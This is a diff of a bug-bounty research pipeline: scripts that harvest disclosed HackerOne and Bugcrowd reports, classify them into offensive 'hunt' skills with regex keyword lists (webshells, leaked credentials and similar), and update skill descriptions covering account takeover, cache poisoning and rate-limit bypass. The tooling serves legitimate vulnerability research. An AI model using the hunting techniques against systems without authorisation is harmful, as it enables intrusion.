("hunt-html-injection", r"html inject|markup inject|content spoof"),
("hunt-open-redirect", r"open redirect|unvalidated redirect"),
("hunt-csrf", r"\bcsrf\b|cross.?site request forgery|samesite"),
("hunt-cors", r"\bcors\b|cross.?origin resource|access-control-allow-origin|origin reflect"),
("hunt-clickjacking", r"clickjack|ui redress|x-frame-options|frame-ancestors"),
("hunt-file-upload", r"file upload|arbitrary file (write|upload)|unrestricted upload|webshell|svg upload"),
("hunt-race-condition", r"race condition|toctou|single.?packet|concurren(t|cy)|double spend"),
("hunt-fintech-graphql", r"decimal precision|idempotency|double.?spend"),
("hunt-business-logic", r"business logic|logic flaw|price manipulat|coupon|negative (quantity|amount)|workflow bypass|discount stack"),
("hunt-idor", r"\bidor\b|insecure direct object|broken object level|\bbola\b|\bbfla\b|access another (user|account)|read any (user|report)|view any"),
("hunt-auth-bypass", r"auth(entication|z)? bypass|authentication bypass|broken authentication|login bypass|access control (bypass|flaw)|privilege escalat|improper access control"),
("hunt-mfa-bypass", r"\bmfa\b|2fa|two.?factor|otp bypass|totp"),
# ato before forgot-password: an explicit "account takeover" title wins over the
# reset *vector* (matches the skills' convention — hunt-ato owns the reset→ATO chain).
("hunt-ato", r"account takeover|\bato\b"),
("hunt-forgot-password", r"password reset|forgot password|reset (token|link)|account recovery"),
("hunt-brute-force", r"brute.?force|rate.?limit|credential stuff|otp brute|no rate limiting"),
("hunt-captcha-bypass", r"captcha"),
("hunt-session", r"session (fixation|management|hijack)|session (id|token) (predictable|not (invalidated|regenerated))|logout (invalidat|session)"),
("hunt-host-header", r"host header|x-forwarded-host|host.?header inject"),
("hunt-source-leak", r"source (code|map) (leak|expos)|\.js\.map|\.env\b|\.git\b|swagger|openapi|build artifact|exposed .*(secret|credential|token|api.?key)|leaked (token|key|credential|secret)|\.git/|access token expos|hardcoded (secret|credential)"),
("hunt-cloud-misconfig", r"\bs3 bucket\b|public bucket|cloudfront|cloud (storage )?misconfig|iam (misconfig|policy)|exposed (jenkins|grafana|kibana|prometheus|actuator|dashboard|elasticsearch|redis|database|rabbitmq|amqp|kafka|mongodb|memcached|message broker)|(rabbitmq|kafka|mongodb|memcached|elasticsearch)\b.{0,40}(exposed|internet|default cred)|open (prod|production)|publicly (available|accessible|exposed)"),
("hunt-api-misconfig", r"mass assign|verb tamper|http verb|excessive data expos|api misconfig"),
("hunt-shadow-api", r"shadow api|zombie api|undocumented (api|endpoint)|improper inventory|legacy (api|endpoint)"),
("hunt-spa-api", r"single.?page|js bundle.*api|hidden (api|backend|endpoint)"),
("hunt-subdomain", r"subdomain takeover|dangling (cname|dns)|nxdomain takeover"),
("hunt-tls-network", r"\bhsts\b|weak cipher|tls (misconfig|downgrade)|expired cert|\bspf\b|\bdkim\b|\bdmarc\b|email spoof"),
("hunt-exceptional-conditions", r"malformed input|fail open|null byte|type juggl|unexpected input|error (leak|disclos)"),
]
COMPILED = [(s, re.compile(rx, re.I)) for s, rx in RULES]
def _skill_exists(name):
return os.path.isfile(os.path.join(SKILLS, name, "SKILL.md"))
def classify_one(rec):
hay = " ".join(str(rec.get(k) or "") for k in ("title", "cwe", "summary"))
for skill, rx in COMPILED:
if rx.search(hay) and _skill_exists(skill):
return skill
return None
def load_raw():
recs = []
for f in glob.glob(os.path.join(RAW, "**", "*.json"), recursive=True):
try:
r = json.load(open(f))
if r.get("title"):
recs.append(r)
except Exception:
pass
return recs
def main():
recs = load_raw()
per = {}
for r in sorted(recs, key=lambda r: -(r.get("bounty") or 0)):
per.setdefault(classify_one(r), []).append(r)
mapped = sum(len(v) for k, v in per.items() if k)
print(f"classify: {len(recs)} report(s) — {mapped} mapped, {len(per.get(None, []))} unmapped.")
for skill in sorted((k for k in per if k), key=lambda s: -len(per[s])):
print(f" {len(per[skill]):4} {skill}")
return 0
if __name__ == "__main__":
sys.exit(main())
+90
View File
@@ -0,0 +1,90 @@
#!/usr/bin/env python3
"""
draft_patterns.py — auto-draft SKELETON pattern entries for curation. Never commits.
For a chosen skill, turns its uncovered high-signal reports (from the raw corpus)
into skeleton entries in the repo's Family-B format (`### <title>` + `**Source:**`),
filling what's extractable from the summary and leaving TODO markers for the
judgment parts. Hostnames are genericized to `target.com` (the corpus convention);
the report URL is cited for attribution. Output goes to research/reports/drafts/
(gitignored) — YOU review, edit, and move approved entries into
docs/disclosed-reports/<skill>.md, then update the SKILL.md + report_count.
Usage:
python3 research/reports/draft_patterns.py --skill hunt-ato [--limit 10]
Stdlib only. Network-free.
"""
import argparse
import glob
import os
import re
import sys
HERE = os.path.dirname(os.path.abspath(__file__))
DRAFTS = os.path.join(HERE, "drafts")
sys.path.insert(0, HERE)
import classify_reports as C # noqa: E402
import report_coverage as RC # noqa: E402
# Genericize any real hostname to target.com (keep path shape). Skip example/H1 hosts.
HOST_RE = re.compile(r"https?://(?!(?:target\.com|example\.|hackerone\.com))[A-Za-z0-9.-]+\.[A-Za-z]{2,}")
def genericize(text):
if not text:
return text
return HOST_RE.sub("https://target.com", text)
def skeleton(rec):
title = genericize((rec.get("title") or "").strip())
sev = rec.get("severity") or "TODO"
bounty = rec.get("bounty")
summary = genericize((rec.get("summary") or "").strip())
money = f" (${bounty})" if bounty else ""
return "\n".join([
f"### {title}{money}",
f"- **Source:** {rec.get('url')} (reporter @{rec.get('reporter') or 'unknown'}, {rec.get('program') or 'program'})",
f"- **Severity:** {sev}",
f"- **Summary (from disclosure meta — verify at source):** {summary or 'TODO: read the report'}",
"- **Pattern shape:** TODO — distill the reusable technique (not the specific target).",
"- **Detection signal:** TODO — what a hunter greps/observes to spot this class.",
"- **FP guard:** TODO — what looks like this but is safe.",
"- **Chain / escalation:** TODO (if any).",
"",
])
def main(argv):
ap = argparse.ArgumentParser()
ap.add_argument("--skill", required=True)
ap.add_argument("--limit", type=int, default=15)
a = ap.parse_args(argv)
cited = RC.already_cited_ids()
recs = [r for r in C.load_raw()
if str(r.get("id")) not in cited and C.classify_one(r) == a.skill]
recs.sort(key=RC.signal, reverse=True)
recs = recs[:a.limit]
if not recs:
print(f"draft_patterns: no uncovered reports classified to {a.skill}. Nothing to draft.")
return 0
os.makedirs(DRAFTS, exist_ok=True)
out = os.path.join(DRAFTS, f"{a.skill}.md")
body = [f"# DRAFT patterns for {a.skill} — CURATE BEFORE USE",
"",
"> Auto-drafted skeletons from disclosed reports. Each needs a human pass:",
"> fill the TODOs, confirm the technique against the source, keep targets",
"> generic. Move approved entries into "
f"`docs/disclosed-reports/{a.skill}.md` and bump `report_count`.",
""]
for r in recs:
body.append(skeleton(r))
open(out, "w", encoding="utf-8").write("\n".join(body) + "\n")
print(f"draft_patterns: wrote {len(recs)} skeleton(s) to {out} (curate, then move to docs/).")
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
+63
View File
@@ -0,0 +1,63 @@
#!/usr/bin/env python3
"""
harvest_bugcrowd.py — Bugcrowd CrowdStream reference feed (METADATA ONLY).
Honest scope: CrowdStream (bugcrowd.com/crowdstream.json) exposes only submission
METADATA — program, VRT priority, target, researcher, dates, substate. There is NO
title, vuln class, or technical writeup, so this CANNOT feed the pattern loop
(classify/coverage/draft skip title-less records). It's a "what's active / getting
accepted lately" reference feed, stored separately in raw/bugcrowd/. Included
because you asked for best-effort Bugcrowd coverage; kept honest about its ceiling.
Usage: python3 research/reports/harvest_bugcrowd.py [--pages 3]
Stdlib only.
"""
import argparse, json, os, sys, time, urllib.request
HERE = os.path.dirname(os.path.abspath(__file__))
OUT = os.path.join(HERE, "raw", "bugcrowd")
UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120 Safari/537.36"
def fetch(page):
url = f"https://bugcrowd.com/crowdstream.json?page={page}"
req = urllib.request.Request(url, headers={"User-Agent": UA})
return json.loads(urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace"))
def main(argv):
ap = argparse.ArgumentParser()
ap.add_argument("--pages", type=int, default=3)
a = ap.parse_args(argv)
os.makedirs(OUT, exist_ok=True)
wrote = 0
for p in range(1, a.pages + 1):
try:
data = fetch(p)
except Exception as e:
print(f" page {p}: fetch failed ({e})"); break
results = data.get("results") or []
if not results:
break
for r in results:
rid = r.get("id")
if not rid:
continue
rec = { # normalized, but title=None on purpose -> excluded from pattern loop
"id": rid, "source": "bugcrowd", "title": None,
"program": r.get("engagement_name"), "priority": r.get("priority"),
"target": r.get("target"), "reporter": r.get("researcher_username"),
"url": "https://bugcrowd.com" + (r.get("engagement_path") or ""),
"substate": r.get("substate"), "disclosed": r.get("disclosed"),
"note": "crowdstream metadata only — no title/technique",
}
json.dump(rec, open(os.path.join(OUT, f"{rid}.json"), "w"), indent=1)
wrote += 1
time.sleep(0.5)
print(f"harvest_bugcrowd: wrote {wrote} CrowdStream metadata record(s) to {OUT} "
f"(reference only — not a pattern source).")
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
+188
View File
@@ -0,0 +1,188 @@
#!/usr/bin/env python3
"""
harvest_h1.py — collect HackerOne disclosed-report signal into a local raw corpus.
Part of the disclosed-report -> coverage-gap -> curation pipeline. This is the
COLLECT step; it never writes into skills/ or docs/ — only research/reports/raw/
(gitignored). Curation (draft_patterns.py -> you) is what eventually lands content.
What's reliably PUBLIC (default, no auth), validated against live H1:
- metadata via the public GraphQL (title, severity, bounty, cwe, cve, votes,
program, reporter, report URL) — mirrors skills/offensive-osint/scripts/
h1_reference.py's crash-safe inline query (never sort+substate+fields).
- a ~400-char SUMMARY snippet from each report page's <meta description>.
What needs AUTH (opt-in --h1-cookie): the full `vulnerability_information` body.
H1 returns null for it unauthenticated even on disclosed reports. Pass your own
H1 session cookie to fetch full writeups (your account, your call). Without it the
summary snippet + metadata is enough for gap-detection and skeleton drafting; you
read the full report at its URL during curation.
Posture: rate-limited, resumable (skips report ids already in processed.json),
personal-research scale. Public disclosures are distilled+cited downstream, never
stored verbatim in the repo.
Usage:
python3 research/reports/harvest_h1.py --sort bounty --limit 50
python3 research/reports/harvest_h1.py --sort votes --limit 200
python3 research/reports/harvest_h1.py --sort bounty --limit 50 --h1-cookie "$H1_COOKIE"
Stdlib only.
"""
import argparse
import html as _html
import json
import os
import re
import sys
import time
import urllib.request
HERE = os.path.dirname(os.path.abspath(__file__))
RAW_DIR = os.path.join(HERE, "raw", "h1")
PROCESSED = os.path.join(HERE, "processed.json")
GRAPHQL_URL = "https://hackerone.com/graphql"
UA = ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120 Safari/537.36")
HEADERS = {"User-Agent": UA, "Content-Type": "application/json",
"Origin": "https://hackerone.com", "Referer": "https://hackerone.com/hacktivity"}
PAGE_SIZE = 50
# Same node fields h1_reference.py requests — metadata only, no body (body is null
# unauthenticated). Kept identical to inherit the documented crash-safe combo.
REPORT_FIELDS = """
... on HacktivityDocument {
severity_rating total_awarded_amount currency cwe cve_ids votes
team { handle name } reporter { username } report { _id title url }
}
"""
def _post(query, cookie=None):
headers = dict(HEADERS)
if cookie:
headers["Cookie"] = cookie
req = urllib.request.Request(GRAPHQL_URL, data=json.dumps({"query": query}).encode(),
headers=headers, method="POST")
for attempt in range(4):
try:
with urllib.request.urlopen(req, timeout=25) as r:
return json.loads(r.read().decode("utf-8", "replace"))
except urllib.error.HTTPError as e:
if e.code == 429 and attempt < 3:
time.sleep(2 ** attempt) # polite backoff
continue
raise
return {}
def build_query(sort_field, after):
# Crash-safe: sort-only mode (no substate filter) — mirrors h1_reference.py.
after_str = f', after: "{after}"' if after else ""
return (f'{{ search(index: CompleteHacktivityReportIndex, query: {{bool: {{}}}}, '
f'first: {PAGE_SIZE}{after_str}, sort: {{field: "{sort_field}", direction: DESC}}) '
f'{{ total_count pageInfo {{ endCursor }} nodes {{ {REPORT_FIELDS} }} }} }}')
def enumerate_reports(sort_field, max_pages=40):
"""Yield report nodes across pages. The caller stops once it has written enough
records — some nodes have report:null (limited disclosure) and are skipped, so
node count != written count."""
after = None
for _ in range(max_pages):
data = _post(build_query(sort_field, after))
search = (data.get("data") or {}).get("search") or {}
nodes = search.get("nodes") or []
if not nodes:
break
for n in nodes:
yield n
after = (search.get("pageInfo") or {}).get("endCursor")
if not after:
break
time.sleep(0.4) # polite between pages
def meta_summary(report_url):
"""Public SEO <meta description> — a ~400-char summary snippet, no auth."""
try:
req = urllib.request.Request(report_url, headers={"User-Agent": UA})
h = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace")
except Exception:
return ""
m = re.search(r'<meta[^>]+(?:name|property)="(?:og:)?description"[^>]+content="([^"]*)"', h)
return _html.unescape(m.group(1)).strip() if m else ""
def full_body(report_id, cookie):
"""Full writeup — requires an authenticated H1 cookie. Returns '' if unavailable."""
q = f'{{ report(id: {int(report_id)}) {{ vulnerability_information }} }}'
try:
d = _post(q, cookie=cookie)
return ((d.get("data") or {}).get("report") or {}).get("vulnerability_information") or ""
except Exception:
return ""
def load_processed():
if os.path.exists(PROCESSED):
try:
return set(json.load(open(PROCESSED)))
except Exception:
return set()
return set()
def main(argv):
ap = argparse.ArgumentParser()
ap.add_argument("--sort", choices=["votes", "bounty"], default="bounty")
ap.add_argument("--limit", type=int, default=50)
ap.add_argument("--h1-cookie", default=os.environ.get("H1_COOKIE", ""),
help="H1 session cookie to fetch full report bodies (opt-in; your account).")
ap.add_argument("--no-summary", action="store_true", help="skip the per-report meta-desc fetch (metadata only)")
ap.add_argument("--max-pages", type=int, default=40, help="pagination depth (50 reports/page)")
a = ap.parse_args(argv)
sort_field = "votes" if a.sort == "votes" else "total_awarded_amount"
os.makedirs(RAW_DIR, exist_ok=True)
seen = load_processed()
new_ids, wrote, body_hits = [], 0, 0
for n in enumerate_reports(sort_field, max_pages=a.max_pages):
if wrote >= a.limit:
break
rep = n.get("report") or {} # some nodes have report:null (limited disclosure)
rid = str(rep.get("_id") or "")
if not rid or rid in seen:
continue
url = rep.get("url") or f"https://hackerone.com/reports/{rid}"
rec = {
"id": rid, "url": url, "title": rep.get("title"),
"severity": n.get("severity_rating"), "bounty": n.get("total_awarded_amount"),
"currency": n.get("currency"), "cwe": n.get("cwe"), "cve_ids": n.get("cve_ids"),
"votes": n.get("votes"),
"program": (n.get("team") or {}).get("handle"),
"reporter": (n.get("reporter") or {}).get("username"),
"summary": "" if a.no_summary else meta_summary(url),
"body": full_body(rid, a.h1_cookie) if a.h1_cookie else "",
"source": "hackerone",
}
if rec["body"]:
body_hits += 1
json.dump(rec, open(os.path.join(RAW_DIR, f"{rid}.json"), "w"), indent=1)
wrote += 1
new_ids.append(rid)
if not a.no_summary:
time.sleep(0.5) # polite between per-report page fetches; metadata-only needs none
seen.update(new_ids)
json.dump(sorted(seen), open(PROCESSED, "w"), indent=1)
print(f"harvest_h1: wrote {wrote} new report(s) to {RAW_DIR} "
f"({body_hits} with full body{' — need --h1-cookie for bodies' if a.h1_cookie == '' else ''}); "
f"{len(seen)} total seen.")
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env python3
"""
harvest_intigriti.py — Intigriti disclosed-report collector (HONEST STUB).
Feasibility (researched): Intigriti has NO public disclosure feed or API. Disclosing
a report to any third party requires approval from BOTH Intigriti and the affected
company; public write-ups are scattered across individual researcher profiles and
external blogs. There is no reliable, structured, ToS-clean bulk source to collect.
Rather than ship a scraper that pretends otherwise, this is a deliberate stub. If a
public Intigriti disclosure feed appears, implement it here on the harvest_h1.py
shape (normalized record -> raw/intigriti/). Until then: gather Intigriti technique
detail manually from researcher profiles / their blog, and feed it in via
draft_patterns-style hand curation.
Usage: python3 research/reports/harvest_intigriti.py
Stdlib only.
"""
import sys
def main():
print("harvest_intigriti: no reliable public disclosure feed/API exists "
"(disclosure is approval-gated). Nothing to collect automatically — "
"curate Intigriti write-ups manually from researcher profiles. See module docstring.")
return 0
if __name__ == "__main__":
sys.exit(main())
+85
View File
@@ -0,0 +1,85 @@
#!/usr/bin/env python3
"""
report_coverage.py — the coverage-gap detector (analog of scripts/refresh-cve-index.py).
Network-free. Over the local raw corpus: classify each report to a skill, drop the
ones already cited in docs/disclosed-reports/, and rank what's left by signal
(bounty + votes). Output = per-skill gap list + unmapped (new-technique) candidates.
This is the "what should I curate next" report; it authors nothing.
Exit 1 if any gaps exist (so a scheduled run flags work), 0 if fully covered.
Usage: python3 research/reports/report_coverage.py [--out research/reports/gaps.md]
Stdlib only.
"""
import argparse
import glob
import os
import re
import sys
HERE = os.path.dirname(os.path.abspath(__file__))
REPO = os.path.dirname(os.path.dirname(HERE))
DISCLOSED = os.path.join(REPO, "docs", "disclosed-reports")
sys.path.insert(0, HERE)
import classify_reports as C # noqa: E402
def already_cited_ids():
"""Report ids already referenced anywhere in docs/disclosed-reports/ (by URL or /reports/<id>)."""
ids = set()
for f in glob.glob(os.path.join(DISCLOSED, "*.md")):
try:
txt = open(f, encoding="utf-8").read()
except OSError:
continue
ids.update(re.findall(r"hackerone\.com/reports/(\d+)", txt))
return ids
def signal(r):
return (r.get("bounty") or 0), (r.get("votes") or 0)
def main(argv):
ap = argparse.ArgumentParser()
ap.add_argument("--out", default=os.path.join(HERE, "gaps.md"))
a = ap.parse_args(argv)
recs = C.load_raw()
cited = already_cited_ids()
per_skill, unmapped = {}, []
for r in recs:
if str(r.get("id")) in cited:
continue # already curated in
skill = C.classify_one(r)
(per_skill.setdefault(skill, []) if skill else unmapped).append(r)
lines = ["# Report coverage gaps", "",
"Ranked disclosed reports not yet reflected in `docs/disclosed-reports/`.",
"Curate high-signal ones via `draft_patterns.py --skill <name>`.", ""]
total_gaps = 0
for skill in sorted(per_skill, key=lambda s: -len(per_skill[s])):
rows = sorted(per_skill[skill], key=signal, reverse=True)
total_gaps += len(rows)
lines.append(f"## {skill} — {len(rows)} uncovered")
for r in rows:
lines.append(f"- [${r.get('bounty') or 0} / {r.get('votes') or 0}v] "
f"{(r.get('title') or '')[:70]} — {r.get('url')}")
lines.append("")
if unmapped:
lines.append(f"## NEW-TECHNIQUE candidates (no existing skill) — {len(unmapped)}")
for r in sorted(unmapped, key=signal, reverse=True):
lines.append(f"- [${r.get('bounty') or 0} / {r.get('votes') or 0}v] "
f"{(r.get('title') or '')[:70]} — {r.get('url')}")
lines.append("")
open(a.out, "w", encoding="utf-8").write("\n".join(lines) + "\n")
print(f"report_coverage: {len(recs)} report(s) — {total_gaps} skill-mapped gap(s), "
f"{len(unmapped)} new-technique candidate(s). Wrote {a.out}")
return 1 if (total_gaps or unmapped) else 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
+49
View File
@@ -0,0 +1,49 @@
#!/usr/bin/env python3
"""Network-free sanity check for the report pipeline's pure logic.
Run: python3 research/reports/test_pipeline.py (exit 0 = pass). Stdlib only."""
import os, sys
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import classify_reports as C
import draft_patterns as D
def main():
fails = []
# classify: clear classes map to the right skill (skills must exist on disk)
cases = [
({"title": "Blind SSRF in webhook fetcher", "cwe": None, "summary": ""}, "hunt-ssrf"),
({"title": "Stored XSS in comments", "cwe": None, "summary": ""}, "hunt-xss"),
({"title": "Account Takeover via password reset", "cwe": None, "summary": ""}, "hunt-ato"),
({"title": "Totally novel quantum bug", "cwe": None, "summary": ""}, None),
]
for rec, want in cases:
got = C.classify_one(rec)
if got != want:
fails.append(f"classify {rec['title']!r}: got {got!r} want {want!r}")
# genericize: real hostnames -> target.com; example/h1 hosts untouched
if D.genericize("go to https://acme-bank.com/reset then https://evil.io") \
!= "go to https://target.com/reset then https://target.com":
fails.append("genericize did not rewrite real hostnames")
if "hackerone.com/reports/1" not in D.genericize("https://hackerone.com/reports/1"):
fails.append("genericize wrongly rewrote the hackerone source URL")
# skeleton: has Source + TODO markers, target genericized
sk = D.skeleton({"title": "IDOR on https://acme.com/api/user/5", "url": "https://hackerone.com/reports/9",
"reporter": "x", "program": "p", "severity": "High", "bounty": 500,
"summary": "leaked data from https://acme.com"})
for must in ("**Source:**", "TODO", "target.com"):
if must not in sk:
fails.append(f"skeleton missing {must!r}")
if "acme.com" in sk:
fails.append("skeleton leaked a real hostname (acme.com not genericized)")
for f in fails:
print("ERROR", f)
print("PASS: report pipeline logic (classify + genericize + skeleton)." if not fails
else f"\nFAIL: {len(fails)} issue(s).")
return 1 if fails else 0
if __name__ == "__main__":
sys.exit(main())
+103
View File
@@ -0,0 +1,103 @@
#!/usr/bin/env python3
"""
verify_citations.py — content-verify every disclosed-report citation.
Credibility gate: a citation is only trustworthy if the report's ACTUAL subject
matches the skill/pattern it's cited under. Titles + login-gated bodies can drift
from what a pattern claims. This fetches each cited report's PUBLIC metadata
(title) + <meta> summary, re-runs the classifier over that content, and flags:
MISMATCH — content classifies to a different skill AND the citing skill's own
regex does not match the content (likely mis-bin / wrong cite).
WEAK — content classifies to nothing (thin public signal; not necessarily
wrong, but the cite can't be auto-corroborated — eyeball it).
OK — content corroborates the citing skill.
Reads docs/disclosed-reports/*.md for citations, reuses classify_reports rules,
reuses harvest_h1.meta_summary for the public snippet. Network-bound (one page
fetch per unique report) — polite 0.4s spacing. Cache in raw/ is reused.
Usage: python3 research/reports/verify_citations.py # verify all
python3 research/reports/verify_citations.py --skill hunt-saml
Stdlib only.
"""
import argparse, glob, json, os, re, sys, time
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import classify_reports as C
import harvest_h1 as H
ROOT = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
DR = os.path.join(ROOT, "docs", "disclosed-reports")
RAW = os.path.join(os.path.dirname(os.path.abspath(__file__)), "raw")
# citing-skill regex map (reuse the classifier's own rules, keyed by skill)
SKILL_RX = {s: rx for s, rx in C.COMPILED}
def citations():
"""report_id -> set(skills that cite it), from the corpus files."""
m = {}
for f in glob.glob(os.path.join(DR, "*.md")):
skill = os.path.splitext(os.path.basename(f))[0]
for rid in re.findall(r'reports/(\d+)', open(f).read()):
m.setdefault(rid, set()).add(skill)
return m
def cached_title(rid):
for f in glob.glob(os.path.join(RAW, "**", f"{rid}.json"), recursive=True):
try:
r = json.load(open(f))
return r.get("title") or "", r.get("summary") or "", r.get("cwe") or ""
except Exception:
pass
return None
def main(argv):
ap = argparse.ArgumentParser()
ap.add_argument("--skill", default=None, help="verify only citations under this skill")
ap.add_argument("--limit", type=int, default=0, help="cap reports checked (0=all)")
a = ap.parse_args(argv)
cites = citations()
ids = [r for r in cites if not a.skill or a.skill in cites[r]]
ids.sort()
if a.limit:
ids = ids[:a.limit]
ok = weak = mism = 0
flags = []
for i, rid in enumerate(ids):
c = cached_title(rid)
title, summary, cwe = c if c else ("", "", "")
url = f"https://hackerone.com/reports/{rid}"
if not summary: # fetch public snippet if not cached
summary = H.meta_summary(url)
time.sleep(0.4)
rec = {"title": title, "summary": summary, "cwe": cwe}
content_skill = C.classify_one(rec)
haystack = " ".join([title, summary, cwe])
for citing in sorted(cites[rid]):
if a.skill and citing != a.skill:
continue
rx = SKILL_RX.get(citing)
self_match = bool(rx and rx.search(haystack))
if not (title or summary):
verdict = "WEAK"; weak += 1
elif self_match or content_skill == citing:
verdict = "OK"; ok += 1
continue
elif content_skill and content_skill != citing:
verdict = "MISMATCH"; mism += 1
else:
verdict = "WEAK"; weak += 1
flags.append((verdict, citing, rid, content_skill, (title or summary)[:70]))
print(f"verify: {len(ids)} unique cited report(s) — {ok} OK, {weak} WEAK, {mism} MISMATCH")
for v, citing, rid, cs, t in sorted(flags):
print(f" {v:9} {citing:22} {rid:>8} content~{cs or '-':22} {t}")
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
+1 -1
View File
@@ -8,7 +8,7 @@
# - scripts/hunt.sh → ~/.claude/scripts/hunt.sh + sourced from shell rc
# (unchanged from prior behavior)
#
# MULTI-HARNESS FLAGS (skills only — the 71 SKILL.md files. Slash commands,
# MULTI-HARNESS FLAGS (skills only — the SKILL.md files. Slash commands,
# the plugin marketplace, and the /hunt engine are Claude-Code-specific and do
# NOT port; other harnesses get the knowledge, not the orchestration):
# --agents force-copy skills → ~/.agents/skills/ (Codex; OpenCode reads ~/.claude)
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-ato
description: "Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical."
sources: hackerone_public, public_research
report_count: 0
report_count: 7
---
## 13. ATO — ACCOUNT TAKEOVER TAXONOMY
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-brute-force
description: "Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical)."
sources: public_research
report_count: 0
report_count: 6
---
# HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-business-logic
description: Hunting skill for business logic vulnerabilities. Built from 12 public bug bounty reports. Covers coupon-race-stacking (Instacart, Stripe, Reverb), negative-quantity-in-cart price tampering (Upserve, Eternal/Zomato), decimal/fraction price-field overflow (Shipt), client-side checkout amount trust on PayPal redirect (WordPress.org), price-per-unit mass-assignment (Krisp), and archived-price swap / cart-TOCTOU (Stripe). Use when hunting business logic — heavy emphasis on financial-impact-demonstrated cases.
sources: hackerone_public, github
report_count: 12
report_count: 25
---
## Crown Jewel Targets
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-cache-poison
description: Hunting skill for cache poison vulnerabilities. Built from 10 public bug bounty reports including X-Forwarded-Host poisoning, X-HTTP-Method-Override / GCS cache, reflected→stored XSS via cache, classic Omer-Gil Web Cache Deception, Cloudflare Cache Deception Armor bypass, session-token cache deception, Akamai hop-by-hop smuggling → server-side edge poisoning, and Kettle's 2024 path-normalization WCD against Cloudflare/Fastly/GCP. Host/X-Forwarded-Host injection that reaches app logic (reset-link poisoning, routing SSRF, OAuth issuer) is owned by hunt-host-header; this skill owns the case where the poisoned response is CACHED and served to other users. Use when hunting cache poisoning, Web Cache Deception, CDN-fronted apps.
sources: github, hackerone_public, portswigger_research, omergil_research, youstin_research
report_count: 10
report_count: 8
---
## Crown Jewel Targets
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-captcha-bypass
description: "Hunt CAPTCHA Bypass — 6 distinct patterns: (1) CAPTCHA field simply omitted from the request (server-side validation absent), (2) CAPTCHA token replayed from a solved challenge (no single-use enforcement), (3) CAPTCHA response accepted on a different endpoint than it was solved on (no binding to action/session), (4) static or predictable CAPTCHA values accepted (e.g. '0', 'null', empty string), (5) audio/accessibility CAPTCHA trivially solvable programmatically, (6) CAPTCHA only enforced after N failures (first N requests bypass it). Detection: intercept a successful form submission, remove the CAPTCHA field entirely, replay — if it still succeeds, server-side validation is absent. Medium severity standalone; High when it removes the only rate-limit gate protecting a login, registration, or payment endpoint."
sources: public_research, operator_experience
report_count: 0
report_count: 6
---
## Autonomous Testing Priority
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-clickjacking
description: "Hunt Clickjacking — missing X-Frame-Options / CSP frame-ancestors lets an attacker embed the target page in an invisible iframe and trick victims into clicking buttons they cannot see (UI redressing). Targets: login flows, money transfers, account settings, OAuth confirmation pages. Confirm by fetching the page, then PROVE it frames in a real browser and a sensitive state-changing action survives the cross-site context (SameSite cookies / framebusting JS can defeat it) — header-absence alone is not a finding."
sources: hackerone_public, public_research
report_count: 0
report_count: 6
---
## What is Clickjacking
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-cloud-misconfig
description: "Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services)."
sources: hackerone_public, public_research
report_count: 0
report_count: 6
---
## 16. CLOUD / INFRA MISCONFIGS
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-csrf
